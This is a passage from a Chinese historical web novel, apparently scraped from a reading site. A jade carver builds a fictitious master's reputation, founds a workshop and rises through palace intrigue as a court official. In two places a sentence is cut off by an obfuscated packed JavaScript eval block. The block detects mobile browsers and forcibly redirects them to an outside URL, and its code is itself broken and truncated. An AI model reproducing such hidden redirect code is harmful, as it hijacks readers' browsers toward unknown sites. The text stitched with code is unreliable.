瞧其成色,虽不是最上等的和田玉,却是杂质极少。可见这匠人极懂取材。玉雕比其他雕物更难的原因,就在于这玉料本身纹理不均多沙眼,稍有不慎便易断裂,可这玉佩屏风竟用上了空心透雕,所有羽毛居然在层次分明的同时无一处断裂,显得轻灵又有动感。
刘逸春看了又看,竟想不出是用何法雕成。
再厉害的透雕他也见过,可,可这人显然并非那类全力研究透雕的匠人。这件雕物在鹤之外的前景圆雕浮雕并用,还有那行不到一厘米的小诗,更是当世微雕技术的极境。绝不可能有人能面面俱到至此。
这,这难道是多位大师合力之作?!
还不止呢。晏楚鹤见他惊讶,满意地掀开帘子,光线在半透明的玉层间流转,如烟似雾,衬得那双鹤几乎要振翅欲飞。
刘逸春几乎看痴,喃喃道:“传世之宝,我的老天爷……”
“敢问阁下家主是哪位名家?”
晏楚鹤笑着胡编道:“家主如今改号孤鹤居士,他只嘱我来问个价。若不合意,便送去别处。”
刘逸春一愣,又急忙拱手道:“姑娘稍等!此玉雕若真是要拍卖,我得请东家亲自出面!”
双方商谈清楚拍卖的细节,晏楚鹤装模作样地回了趟客栈,这可让嘉会行里众人等人等得急死了。好在她在夜晚的拍卖场前赶回来了,只要求今晚就要拍卖,要求不算多,合同也签的很顺利。
……
约莫两个时辰后,刘逸春一路送她出门,神色颇为恭敬:“姑娘回去,替在下向孤鹤居士问好——这等手艺,世所罕见!”
晏楚鹤沉浸在暴富的喜悦中,不枉她花了那么多本金,又在成都日日打磨这件作品。
一万七千贯到手!
让人不敢相信的数字。
看来,从现在开始,她再也不用为钱发愁。
下一步,便是找王家了。
——
这是平常的一天。
下朝后,礼部尚书叶良翰在尚书省公食堂同同僚们闲聊,从夏蕃战事聊到被贬的武昌侯路大人。叶良翰今年五十,先帝在位时便已居要职,见惯了权争风浪。主战、主和两派吵得沸沸扬扬,他却是不爱掺和,午时一过就回礼部听属吏汇报,只觉得疲惫缠身。
前些日子佛骨迎供的事闹得满城风雨,皇上借此查出几个礼部官员贪墨,一连抄了几家,搞得他这个礼部尚书忙得上气不接下气。
也不知道当今圣上到底是聪明还是怎的,毕竟他看到那‘佛骨’两眼发光的样子确实颇为呆滞,也算糊涂。可这糊涂事明明做得那般奢侈,结果国库不但没减少,反而充盈了不少,也不知道是哪个大人在暗中出谋划策。
不过这事算来算去,还是路大人最倒霉,他素来清高,为官多年,连半两油水都不肯沾。他是真的迂啊,皇上要遵奉那佛骨就让着他被,终究撼不动这天下以儒学为纲的根本,还可以笼络拉拢佛教势力。现如今,路勤礼冲到最前面谏言,反倒把自己作成个益州都督,听着风光,不过实权全在益州府长吏手里,到成了个带俸闲人。
哎,虽说如此,叶良翰心里也隐隐不是滋味。他认识路勤礼多年,知晓他的担忧。可若天下人都学他这股子不识时务,对皇上净说些忠言逆耳,怕是上朝的人都得少了一大半。恐怕如今,也只有他还在真地替皇上操心。
叶良翰摇摇头,忽又想起了路家的小公子。谁能想到,武昌侯路大人那样品行杰出的人,居然有那样一个儿子。
路斐今年十九,是国子监有名不好读书的草包纨绔。前不久一声招呼不打,随着新上任的益州都督府长吏离开,就是为了吃那蜀地的龙须虾,麻辣鸡片。
亏他原本还和人打赌,路斐那小子肯定是要像话本一样,演一出纨绔子洗心革面,参军立功。结果嘞,这小子才没那个胆量,战事这才刚刚开始,他就灰头土脸地跑回来,昨儿就在家里和他那赋闲的爹吵架。实在是有其父无其子。
想到这,叶良翰好受了不少。他自己虽然比不过路勤礼,但自问教子有方。自家小子虽平庸,却总比那路斐强上十倍。
这样想着,他埋头又干了足足一个时辰,这才伸腰叹气,乘车回府。谁知马车刚到门口,就瞧见儿子的小厮慌慌张张从门里出来,手上提着个鼓鼓囊囊的钱袋。
“站住!”
那小厮见是自家老爷,登时面如土色,却还死死抱着钱袋,撒腿就跑。
人潮正密,车行不快,叶良翰一路盯着前方那小厮的背影,只见他钻进“嘉会行”的牌坊。这地方是个人都能混进去,能是什么好地方!叶良翰越想越气,当即下了车,还没进门,就见到自家傻儿子报这个布包裹当宝贝似的。
“你拿这么多银子,就为了买个玉雕?!”
叶良翰一把拍在柜台上,再也顾不上什么文人风骨。
“你知道你爹我一个月俸禄多少吗!你以为嘉会行的玩意儿能有什么好货?全是糊你这种冤大头的!”
他儿子吓得不轻,赶紧把布解开。叶良翰是礼部尚书,别说一万七,十万七的玉雕他都见过,自然分辨得出好坏,在这地方卖的,能是什么好东西——
“这……这价钱多少?”
“便宜得很。”傻儿子笑得一脸无辜,“一万七千贯。”
“一……万七?!”
叶良翰几乎以为自己听错了。
只要一万七?
——
几日后,嘉会行按晏楚鹤的要求,大力宣传孤鹤居士的名号。与此同时,礼部尚书在的叶家料定这大师低价卖玉雕必有深意,便特意为这琼华瑞鹤玉屏风设宴展览,又寻了个节日献给皇帝,同孤鹤大师卖个人情。
自此,孤鹤大师的名号开始传开,诗人争相题咏,贵族也找到她暂住的府宅托人到求见。
虽说只赚一万七虽对得起她花的心血,但未免还是太辜负自己的手艺了。晏楚鹤咬咬牙,趁着孤鹤大师名声越来越响,联系嘉会行,又收买了些平民放出新的流言。这些流言说法多样,但实质内容都是称孤鹤居士因这玉雕耗尽半生心血,如今心力衰竭,就此闭关谢客。
是的,仅凭一件玉雕名动京城的孤鹤大师这就要隐退了。晏楚鹤也舍不得,可凡事多了就俗了的道理,她是明白的。
再绝世的工艺,若让人频频见到,贬值是迟早的事情。
更重要的是,她不甘心只作孤鹤大师的丫鬟——一开始这么做,只是为了便于孤鹤大师的名号打响。毕竟,一个身份莫测的老头总比她这个村里来的少女更符合人们对于雕刻大师的印象。
而现在,她要让这些天‘孤鹤大师’收获的关注,全都为己所用。
洛阳京城的新鲜事总是一茬一茬,昙花一现的人物实在太多,晏楚鹤算是拼尽全力,赶在孤鹤大师的热度消退前,用来到京城买的青田冻石,加上这些天的见闻,拼出新作品——一尊佛像。
以圆雕手法为主,观音立于莲台之上,姿态柔婉,衣纹生动,浅浮雕的技术格外精湛,底座上那些月华水纹,配着半透明的石质,倒有月下观影的错觉。
嘉会行的鉴宝师傅,如今和晏楚鹤固定对接的刘逸春啧啧称奇。他来之前,听说今天这件雕品只是孤鹤大师徒弟造的,还颇为失望。孤鹤大师果然和传闻一样决心退隐。
这件玉雕固然很优秀,但在见过那琼华瑞鹤后,终归还是差了些。若非这顶尖玉材,只怕更显生硬。但看这佛像,足以见得这弟子基本功扎实,将那两种雕法用的出神入化。想来不是敷衍,大概是技术有限,也只擅长这两种,果然,像孤鹤大师那样的人才终究少见。
哎,他操什么心!孤鹤大师的徒弟已经这般厉害,未来京城恐怕不会少他的作品。刘逸春越想越酸,和晏楚鹤议妥雕品后续之事,犹豫半晌,终是鼓起勇气,从怀中取出裹得仔细的木盒,低声道:
“楚姑娘……若能劳烦大师过目一二,也不枉我这一生学艺了。”
“不用麻烦大师,”晏楚鹤眨了眨眼,认真看了中年男人拿出的木雕,摇了摇头,“你这罗汉刻得忠厚,底子打得倒牢过于求稳,这儿,还有这,这几处若是能再轻一些,会好很多。”
“你这丫头懂什——”刘逸春正要反驳,话到嘴边,又哑住了。他看着那尊罗汉,越看越茫然,多年练刀,手稳心拙,到头来,竟被个小姑娘一眼点破,只好红着脸,憋着气,只闷声应了一句便离开了。
这次指教,倒让晏楚鹤生出几分灵感。顶尖匠人为了声名,加上精力有限的原因,往往几年才出件作品。她若想继续赚钱,未必要自己动手。“指点他人”不也是个好方法?
于是,晏楚鹤打着“孤鹤居士”的名义,用之前赚来的钱,买下了一家濒临倒闭的雕刻作坊,改名“孤鹤堂”。她自认为擅长挑刺,三言两语便能指出雕工的弊处,再叫他们浅浮雕的要领,以此为特色。这些人便全成了孤鹤大师的徒子徒孙。
先前,孤鹤大师名气太盛,世上稍微和“鹤”沾亲带故的,都被吹成徒孙之作。晏楚鹤这会儿边打假,边宣传孤鹤堂正品,好不忙碌。
好在,换来的回报是肉眼可见的。
孤鹤堂的名声彻底打响,和先前饱受贵族关注的孤鹤大师不同。这次可是全京都上下,人人以能得到这样的时髦雕件为荣。皇宫里在把玩玉雕,贵族们赏着牙雕,商人们抢着木雕,普通百姓,也能去孤鹤堂门前排队买些弟子造出的石雕。
因为家里经商,晏楚鹤对市舶律、坊市规制极为熟稔。孤鹤堂的定价合律,每日限量,不乱抬价。她待匠人厚道,从不霸占休憩时间。因为这孤鹤堂主要靠她的名声,抽成相当高。尽管如此,这些匠人们的工资也是同行羡慕不来的高资。
当然,改造一个濒临倒闭的小作坊,并非只有手艺和钱财就可以。同行挖人、坊中造谣、货路被截,其间艰辛不在少数。好在,和报复王家相比,这些困难还算小事。
如今,递到孤鹤堂的请帖数不胜数,那些想拜见孤鹤大师的,尽数被她推了。也有人改求晏楚鹤——她这个孤鹤大师代言人倒是乐意。去那些贵人府上,一来参观了解,二来吃点平日吃不到的,三来找想找的人。
不过很遗憾,这些贵族可没有把她当同一阶级的人看。她去了,只能见到管家的大夫人少奶奶,吃饭在偏室小隔间,话题无非是用权势金钱叫她再造些玉雕。
每每谈及此总是叫人头疼。她现在只能笑吟吟地用“大师眼下正在为您更尊贵的贵人赶工”这种借口。
事实上,礼部尚书也好,禁军统领家也罢,那些人要求的雕物,她自己一件都没雕。这些日子实在太忙了,整日奔走账
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790763|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房与工坊之间,忙着应酬、招人、审稿,连刀都少摸。晏楚鹤心中明白,再这样下去,总有一日要露出破绽。
她自有应对之策,皇帝的召见一定快了。
当今皇帝的性格为人她一概不清楚,但有一点,此人会为佛骨雕怒贬朝臣,自然会为她那件月藏观音所动容。
——
自上次琼华瑞鹤玉屏风被送入宫中,当今皇帝便对这孤鹤大师来了兴趣。
景安帝心里惦记着要亲眼见见这位“隐世高人”。偏偏前阵子为了佛骨闹得太大,虽压得严实,他总觉得有人在非议。
被路勤礼那死东指着鼻子骂的情景,想想就晦气。
再说,那大师雕的鹤精妙归精妙,又不是他钟爱的。他放在国库里便算添个吉兆便是了。景安帝一计量,便不再管,他的时间宝贵着,这些日子是连上朝都不去了,全花在那为了佛骨专门建造的寺庙上。
至于某些想讨好帝王的大臣,倒是花了心血找了孤鹤大师的丫鬟,或威逼或利诱,要孤鹤大师尽快造点讨皇上开心的物件。晏楚鹤却是一一回绝,思虑良久,按大夏律法,走的是礼部的月贡路线。
凡地方或民间佳作,皆由礼部筛选、择优进呈。于是那尊“月藏观音”便顺理成章落到礼部尚书,还是那位叶良翰手上。
礼部尚书素来在两派间保持中立,谁都看得出,这佛像一旦入宫,必然得圣眷,便也容不得礼部尚书保持中立。说来复杂,大抵是今儿你挑挑刺拿走,明儿我在你送的路上截胡。双方的小人物斗得不亦乐乎。几番推诿周旋,这玉雕直至一个月后,才在七月十五的盂兰盆节进献。
这日宫中设盂兰盆会,香烟缭绕,百官陪侍,宫乐轻扬。金灯万盏,佛花漫阶,仿佛连空气都沾着檀香气。晏楚鹤雕的佛像随着其他贡品一并呈上,极为突出。
景安帝那般推崇佛教又玩物丧志的人,此刻有多惊讶不用多说。
“妙,妙极!”一身肥肉,方才还依在榻上的帝王猛地向前倾,极力瞪大眼,“造这佛像的匠人可在?”
“回陛下,此人乃孤鹤大师之弟子,姓楚名鹤,其家侍女正在殿外恭候。”
景安帝想也没想,随手拉起:“赏!此人手艺通神,赐百金,封任内教博士,自今以后,非有诏不得雕刻……先这样罢。”
“是。”几名内侍小心翼翼地将玉佛抬到龙案前,不敢有一丝晃动。景安帝这才由人扶着起身细看,愈发满意,那观音神色安然,眉目低垂,同白马寺的各有千秋,他改日要亲自去比照一番。正这么想,方才离开的下人又回来了。
“陛下,那侍女说有要事要禀——”
景安帝眉头一拧,那张堆叠着肉褶的脸拧在一块:“怎么连个丫鬟都可以来和朕说话,”他刚说完,自己又反应过来,边喘着气边向传话的下人踹了过去:“莫不是那匠人出了事情?!还不快传她进来!”
晏楚鹤学着领路宫人的样子,咬着牙压下一身反骨跪下叩首。
她今日帏帽低垂,衣色素净,倒真像是什么隐世匠人一般:“启禀圣上,民女并非旁人——正是孤鹤大师门下弟子楚氏,承师命奉献此像。”
大殿内除了未歇的佛乐,无人敢发出一点动静。
雕刻大师的弟子竟是女子。
景安帝还未说话,在坐的臣子没人敢先质疑。毕竟晏楚鹤神色安然,进退得体。细想来,先前孤鹤堂的一应交接、往来、签押,全由她出面打点。
朝里接触过孤鹤大师的都纳闷,明明破绽这么多,他们竟然从未怀疑过晏楚鹤就是大师的弟子。要是早知道,哎
——
晏楚鹤猜到他们这么想,心里奚落起来,这些人要是真有脑子,早就该怀疑她是大师本尊了。说到底,还是瞧不起她。
“圣上,此事恐不妥,我朝从未有女子为外官之例。”
“是啊,虽说这匠技确有可取之处,到底比不上她师傅孤鹤大师。再说我朝工部自有良匠,何必让这小女子出头,教得天下女子效仿,败坏我朝风气啊!”
“爱卿说的是,”景安帝颇为疲惫地揉了揉太阳穴,他身旁那女子年过四十,雍容华贵笑得明媚非常,同脂肪堆出来的老皇帝很不般配。
那女子语气像是设身处地地为国担忧一般:“既然如此,不如就让楚姑娘到内宫,做个女官如何?臣妾记得尚仪局刚好有空缺呢。这样好的手艺,流到宫外未免太可惜了。”
“她?一个匠人,恐怕字都不认识几个吧?如何做得了女官?爱妃不要开玩笑。”
晏楚鹤心中微讽——她今日敢冒险进宫求个出路,不正是听闻这位皇帝不久前才将那掘得佛骨的乞丐封为五品奉佛郎。她来前虽做足了期望落空的准备,此刻真听到还是犯恶心。
“皇上前些日子封那位找到佛骨的大人时,可不是这么说的。”晏楚鹤听着替自己说话的声音,还是刚刚那位女性。刘贵妃察觉她的好奇,也笑盈盈地看着她,“我看这姑娘合我眼缘,大不了,皇上择个题目考考她。”
景安帝只当是配合爱妃的小情趣,胖大的身形往龙椅里陷得更深,沉吟片刻后,慢悠悠地道:“楚氏,你虽手艺精绝,到底是个女子。朕先前封那奉佛郎,是因佛骨乃天成至宝,贵在本真。你所作之物却是人工之极,你说说,这天成与人工,孰更可贵?”
7. 清霜大泽冻
“楚氏,你虽手艺精绝,到底是个女子。朕先前封那奉佛郎,是因佛骨乃天成至宝,贵在本真。你所作之物却是人工之极,你说说,这天成与人工,孰更可贵?”
这还用多说?晏楚鹤心中不懈,她随手雕的任何东西都比这不知道从哪里捡来的枯骨要强。
但她显然不能骂这个天成之物,忍着恶心,作出恭顺的样子,声音清越:“陛下,民女见识粗浅,只知道那佛骨埋于荒野千万年,于天地而言,不过是一块枯石。
——是陛下封赏发掘,朝廷供奉,万民信仰,它的本真才得以重现。归根到底,陛下的封赏不就是这天下最宏大、最精巧的‘人工’吗?”
她略微停顿,观察着上位者的脸色:“因此,民女所作所为,不过效仿陛下,以这微末技艺,令璞玉得见天日。”
没错,她的回答很简单。
放下无用的匠人自尊,毫无心理负担地拍着皇帝的马屁。于她而言,不过说几句逢迎之词罢了。
“好一个天下至极的人工!”
景安帝抚掌大笑。他见过的能工巧匠,多少带着几分清高自许,而擅长逢迎的,又往往技艺平庸。像晏楚鹤这般既怀绝技、又善辞令的,实在少见。
一旁的贵妃见景安帝兴致正浓,立刻含笑说道:“哎呀,你这般聪明,想必学什么都快,我记得路大人前些日子说——《礼记》不是有句话?”
离御座最近的礼部尚书正要接话,晏楚鹤后方突兀地响起一道清冷男声,带着几分病弱的沙哑,叫人辨不出年纪。
“回贵妃娘娘,是‘敬鬼神而远之’。”
说话的人没有停顿,朗朗而起:“陛下,佛者,不过夷狄之外道耳,岂可逾于儒教?前朝武帝,三度舍身事佛,妄求福报,徒劳民财,反致怨声载道。是以知事佛以求福,非福而祸也。
臣知陛下敬天法祖,奉佛本为苍生祈福。然百姓愚蒙,见上行而下效,弃耕辍织,奔走于寺庙之间。
陛下前日迎佛骨,今日为佛像擢女匠为官,岂非教天下女子弃三从之礼、忘四德之训,而竞习雕虫末技乎!臣惶恐,此事关风化,不可不察。恳请陛下三思!”
一番言辞情真意切,字字激昂。
晏楚鹤久久不能回神。
哪里来的疯子。
这般自视清高,冥顽不灵,晏楚鹤几乎立刻就猜到此人身份。
试问谁不知道,她身后这位武昌侯路勤礼路大人在不久前,因为反对皇帝迎接佛骨被剥夺实权,禁足府中思过。而他今日刚解禁,居然愈发嚣张,话里话外,矛头直指向她。
景安帝的神情已经冷了下来,他并未先驳斥路勤礼,而是看向晏楚鹤。
饶是晏楚鹤,这回也不由得心下一紧。
她必须回答。
晏楚鹤没有回头,径直扬声道:“路大人铮铮之言,民女听了,如雷贯耳,深感敬佩!但依民女浅见,所谓‘务民之义,敬鬼神而远之’并非路大人所言那般。
‘远之’并非是畏而弃之,乃是以礼制之。民女所造之像,正是令神佛、法相,归于陛下掌控之下的庙堂,为陛下所用。”
曲解,完全的曲解!晏楚鹤对自己偷换概念这招心知肚明。
但她很肯定——这样的夸赞之词,皇帝绝对爱听。
“至于三从四德……民女自幼随恩师孤鹤大师学艺,师如父,此非‘从父’?四德之中,女子丝织蚕桑,献贡于朝,民女所为亦同此理。”
晏楚鹤谎话越说越来劲,抢在对方反驳前先一步开口:“再论雕虫末技,在大人看来,这是‘末技’。可在陛下手中,这便是弘法的法器、治国的重器。佛法东传数百年,唯有在当今的治下,才能如此光辉璀璨!”
起承转合回到奉承景安帝,这老东西已经笑得合不拢嘴。他直接断了路勤礼的争辩::“路卿,朕这些天的禁足,看来是未能让你静心。传朕旨意……至于楚姑娘,便由贵妃做主,看看内宫还有什么缺吧。”
一番周转,旨意最终落到了尚功局,晏楚鹤填了正六品司珍的缺。
和其他五尚不同,尚功局以工艺技术为主,专业对口,这显然是刘贵妃权衡后的结果。
作为正六品司珍,她头上有一位尚功。平级的有司制管裁缝,司彩管丝织与染色,司计管工坊支出。她则作为司珍管金玉。手下另有两位典珍,两位掌珍,珠玉工匠十余人,闲杂宫女十余人。
盂兰盆会一结束,她就被带去上阳宫,尚功局西庑入住。寝室陈设虽然简洁,也不至于寒苦,院中多设玉石磨房、金银铺间,便于日常检修。
这环境还不如她先前在宫外住的客栈。不过在人手上,次日天还未亮,晏楚鹤就被那两个和她年纪相仿,却是负责伺候她的丫鬟们拉了起来。
宫规森严,她们这行需要早早起来准备。大夏女官的服饰发髻要求极为严格,好在晏楚鹤最擅长动手,三两下自行打理妥当,以后她们几个也可以多睡会儿。
按说,她今日需先点卯,再拜见上司尚功。不料,这位顶头上司体恤她初来乍到,亲自到了司珍堂,将这些同事们为她一一介绍。
这位尚功姓黄,瞧着三十左右,容貌端秀,行止沉稳得体。她面上带着恰到好处的亲切笑意:“楚司珍,今后咱们就是一司同袍了。”
晏楚鹤点点头,装模作样道:“诸位,今后当同心协力,恪尽职守。”送这黄尚功离开。
这黄尚功却不一般,她出了门,仍是心有余悸,这丫头和传闻的要不样,也不晓得她注意到没有。
这宫里的女官,哪一个不是谨小慎微、一步步熬资历升上来的?何曾见过这般阵仗——由陛下亲口问及,贵妃安排,大张旗鼓地空降下来,闹得宫里的娘娘们都有所耳闻。
宫里派系分明,黄尚功一家都是由王皇后提携,自然要对这位贵妃安排的人万分警惕。
巧的是,黄尚功家中经营着手工作坊,与京都诸多老牌匠人往来密切,可谓是眼睁睁看着那位“孤鹤大师”如何一步步声名鹊起。
犹记得当初,那“孤鹤大师”刚刚崭露头角,他们京都的雕刻行会很是惊讶。一个名不见经传的匠人,作品卖了一万七千也就算了,居然对行会递出的橄榄枝竟也毫无回应应。
不就是要他孤鹤大师交上一万六作为入会费,再叫他多拿出些作品给会里的成员赏玩吗?这家伙竟然如此不识抬举,真不知道他们的厉害。
既如此,也不必再多费唇舌,各位大师心照不宣——接下来该怎么做,他们早已驾轻就熟,就像处置其他不懂规矩的外来匠人一般:
东街的黄大师,□□师兄弟两人第一时间闻风而动,连夜伏案。他们连那雕物都未曾亲眼见到,仅凭“孤鹤”两个字,便断言其风格孤峭、意境邪戾,定是要来乱我朝风气!
于是二人联手挥就一篇慷慨激昂的讨伐檄文,正要印刷,黄尚功这儿又得了消息,说是贵妃也很中意那孤鹤大师。这才打住。
西街的张大师听了,也来气,他素来桀骜,认定是贵人眼光有失,正打算找关系想撺掇那位以刚直犯上著称的路大人再去面圣谏言。
另有几个大师早早排了拜访礼部尚书的队,一心要在品鉴时当面斥责那雕物粗陋,好叫孤鹤大师颜面尽失。谁知待那玉屏风在权贵府邸间流转月余,终于轮到他们亲眼得见时,却是一句话也说不出来。
那是普通人难以复刻的奇迹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790764|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。是再怎么门外汉的人都能认定的珍品。
自此,孤鹤大师名动京城。这些原本在洛阳,靠着哄抬包装卖些收藏品大肆敛财的“大师”们可遭殃了。
他们生意做多了,在雕刻上并没有什么建树。自从孤鹤堂横空出世,他们的买卖一落千丈。那些曾被糊弄惯了的主顾,竟纷纷拿孤鹤堂的作品来比对,再也信不得他们那一套。
甚至从前,那些昔日被打压的外地匠人借着孤鹤堂的风,跳出来控诉他们——这些日生意可谓是越来越差。
尤其是黄尚功,眼看着娘家昔日靠收会费、卖噱头的小富贵全被冲得干干净净,心中着急地不得了。断人财路,对他们这些人来说简直比杀了人还过分。
思及此,黄尚功敛下眼眸,不让人瞧见自己眼中的恨意。
她对自己的计划颇为满意。既然动不了行踪不定的孤鹤大师,这个送到她手底下的愣头青徒弟,楚鹤,楚司珍。
她有的是办法慢慢调理。
晏楚鹤对于黄尚功的心思一概不知。她自认为过目不忘,凡事都如同观摩雕物一样,只需多思量几遍,便能窥见其中关窍。
说起来这宫中女官真不容易,旧账里埋了不少糊涂账,她得花些时间尽快查清楚,免得担了责。
此外,司珍的一大主要工作便是添写宝录。凡是皇帝赏赐给妃嫔的珠环首饰,皆需由司珍登簿、封匣。借着这个由头,晏楚鹤将各宫都走了个遍。那些妃子娘娘拿不准皇帝的心思,对她都算和颜悦色。
是以晏楚鹤瞧着,这宫里倒也不像话本子那般人人明争暗斗、血雨腥风。
大半低位妃嫔不过寥寥数个宫人伺候,估计,想斗也斗不动。
叫人伤心的是,这些娘娘居然有不少比看着她还要年幼的,这般好的年华,却得侍奉那位迟暮圣上,实在令人唏嘘。
再说司珍堂日常的督工修玉带、打磨宝钿这些工作,对她而言完全是小材大用。那位刘贵妃没让她闲着。
这不,才隔了几天就拿了块形状相当刁钻,偏偏极为难得的材料,说是要她雕个给皇后娘娘祝寿的吉祥物。
那是一块流金珀,澄澈透亮,在日光下流转着温润富贵的金色光泽。晏楚鹤在雕刻上是全才,琥珀雕刻没少接触,但这样的品相她还真是头一回见。这平民出身的贵妃竟然受宠到这种程度。
不过,那块琥珀的样子很是奇怪,前低后高,一端规整,另一端则是布满纹理,藏着红色杂质,不规则收缩的高台,只靠几个点卡在盒子中,叫人很不顺眼……是个难题。
做得好了,定能在宫里贵人们面前再长长脸。可这贵妃也为难她,这般奇怪的形状,刁钻的要求。若失手了,可不是糟蹋宝料这么简单。
更何况此事还牵扯朝廷派系,主战派还是保守派?换在宫里,便是王皇后派和这位贵妃间的选择。
皇后是宫里唯一的正宫娘娘,可这位贵妃……宫里已经有过四五个贵妃了。
“楚司珍,可想好了?这活儿您能接就接,若一时为难,娘娘也不愿您勉强。”刘贵妃身边的女官说得柔声婉转,看着她的眼神,逼迫之意毫不掩饰。
晏楚鹤笑着接过那木匣子。她的对手是王家。尽管王皇后未必知道她父母的事。具体论起来实在复杂。总之,依目前的情况,王家的敌人便是盟友。
再说,这位贵妃赠给她的另一样东西,她确实也很喜欢。
那是把刻着前人诗句的小刀。
【妙手造化人皆望,莺谷飞鸣自有时。】
飞鸣吗?
晏楚鹤确实不会满足在这个女官的身份,说到底,还是为奴为婢到老死。
一个女官做不了什么。
8. 禽兽有余哀
几日后,贵妃宫里便收到件吞日金蟾的琥珀雕。那金蟾静静伏在案上,浑然天成的奇崛此刻成为自然的身形。蜜糖般温润富贵的金色透着尽数涌向蟾口的光线——赤色杂质仿佛在被吞吐、吸纳,灼灼如真阳。
绝妙。
世间祥瑞、财气与不朽的日光,此刻仿佛都被这蟾雕纳于腹中。
那样刁钻的材料,居然让这位楚司珍破了局。贵妃——刘霜清对这样宝贝爱不释手。她都有些舍不得送人了。
“娘娘,人都说‘雁引愁心去’,我瞧着,你那满腔愁心倒是都叫这鹤给引走了。”她身旁的姑娘,也就是先来找晏楚鹤的年轻女官打趣道。她们主仆二人向来和睦,刘霜清正要徐言分辩一番,却突然闻到一股浓郁、粘腻、极有特色的味道。
“呦,又是哪里的鹤把你家主子的忧愁都带走了?”浑身散发着油腻香味的五十多岁老人突然出声,他自以为笑得大方,挥手免了贵妃主仆的礼,又道,“难怪爱妃近日神采奕奕,美艳不可方物,原来是托了这鹤的功劳……不管是哪里的鹤,想养就通知上林署一声。”
刘霜清笑着凑近了些,道:“臣妾哪里有算得上愁的事,不过是陛下先前赏的琥珀,宫里的匠人都没什么法子,多亏了那位新上任的楚鹤楚司珍抽出时间,给臣妾雕了这么个宝贝。暄儿这丫头贫嘴,学了句诗随意□□,倒教陛下误会了。”
“她也只是年轻,性子急躁些。”景安帝对于年轻好颜色的女孩子从不吝啬夸赞,眼里的欲望在这些下人面前更是懒得掩饰。
皇帝自那佛骨后,倒是越来越荒唐了。眼见叫暄儿的女官被盯着发毛,刘霜清立刻把那琥珀雕亲自拿到景安帝面前,这老头的注意力倒也被吸引走。
“精妙绝伦,不愧为孤鹤大师之徒,”景安帝随意看了看,肤松肉垮的脸上写满了失望:“只是比那佛像差了不少。”
刘霜清最擅长应对这老皇帝,她施施然笑着:“陛下偏爱那尊佛像,旁的再妙也比不得宠得圣心。再说,技虽在人,意却在心。那佛像之所以那般出色,也是蒙受陛下垂爱而成。”
“你呀,最会讨我欢心。”景安帝说着信佛,但从来都把欲望写在脸上。离这人接触越多,刘霜清越能明白这一点——帝王也不过如此。
思及此,她面上的笑容更足了几分:“臣妾不过是嘴皮子功夫,真正讨您欢心的是楚司珍。
我可是听说了,那奉佛郎前几日因为说几句好话,夸得陛下尽兴,便升职填了户部的缺。”
“是啊,那依爱妃看,朕这次要赏那楚氏什么呢?”
“黄尚功近日心不在焉,臣妾想着,不如她二人职位对调罢?”
“这样的小事,爱妃自行决断便可。”
事情同想象中一样轻松,刘霜清心满意足,继续温声和景安帝聊着近日的新鲜事。窗外秋意正浓,银杏叶铺了一地,宫人们不厌其烦地扫了又扫,年年如此。
对长于蜀地的晏楚鹤而言,洛阳京都的一切都只在梦中见过,很是新鲜。
她正在自己院子里赏玩美景,天降馅饼的事便由景安帝身边的太监亲自宣旨。
晏楚鹤对此还算有些心理准备,但那无故被贬的黄尚功却并不在她预料中。宫里众人对此司空见惯,更有人暗暗传言,说黄尚功被贬是惹怒了贵妃,她背后的人几乎是立刻放弃了她。是以,晏楚鹤新官上任不到半个月,黄氏就被贬出宫,似乎是送去道观。看宫里其他人的反应,倒是比慎刑司还要可怕的去处。
晏楚鹤倒是自觉地去找了贵妃。刘霜清对待下人时鲜有好脸色,会见晏楚鹤时,她正倚在软枕上,一双美目满是不加掩饰的审视的目光。
她正仔仔细细地打量着这位楚鹤楚尚功。她不过十六七岁的年纪,长得也不算差,偏一双眉毛画得过于凌厉,肤色又不如京城女子白皙,难怪景安帝没看上。
晏楚鹤暗暗得意,她在来京城前就想清楚了如何处理自己这张和永宁公主相似的脸。她先是在中医那确认了调暗肤色的方子,又一狠心给自己剃了眉毛,妆容上再往永宁公主出生的蜀地人反着画。
眼窝画浅,鼻梁画低,果然遮掩了大半。
是以,刘霜清见了虽觉得眼熟,想到的却是另一个和晏楚鹤年纪相仿的宫女。
彼时的刘霜清还不是贵妃,甚至不是才人,不过是被皇帝微服出访时看上的商户女儿。宫里的冬夜是那样的冷,她们挤在一条薄被下,那十六岁的小丫头有着双亮晶晶的眼睛:“霜清姐姐,你真好看,像画上的人。等我二十五岁能出宫了,我一定要去你家里的铺子看看。”
她身边的人换了一批又一批,多少个难熬的寒暑过去,她幸运地再次见到皇帝,忍受痛苦后靠着怀上孩子被封为才人,一步登天。
虽说如此,刘霜清到底是自身难保,如履薄冰,再听到那丫头的消息时,她已经因为办事出了小差错惹皇后不开心。皇后还没发话,旁的人就立刻把她削籍送出宫外。
休梳丛鬓洗红妆,头戴芙蓉出未央。
宫里被赶出的宫女,虽成了皇家供养的女冠,不过是换了处囚笼。宫中人尚且可以等到年满被放出宫,这些人却是一辈子都被困死在那道观中。吃床用度经由宦官、观主层层克扣。宫里大小贵人生但凡病遇事,她们都得便要竭尽全力地诵经,日夜不停。劳作,应酬,不属于道姑的事务被强压给她们。
每每听到宣读陪葬名单时的痛苦,那样的恐惧足以将人撕碎,若是侥幸逃过,短暂
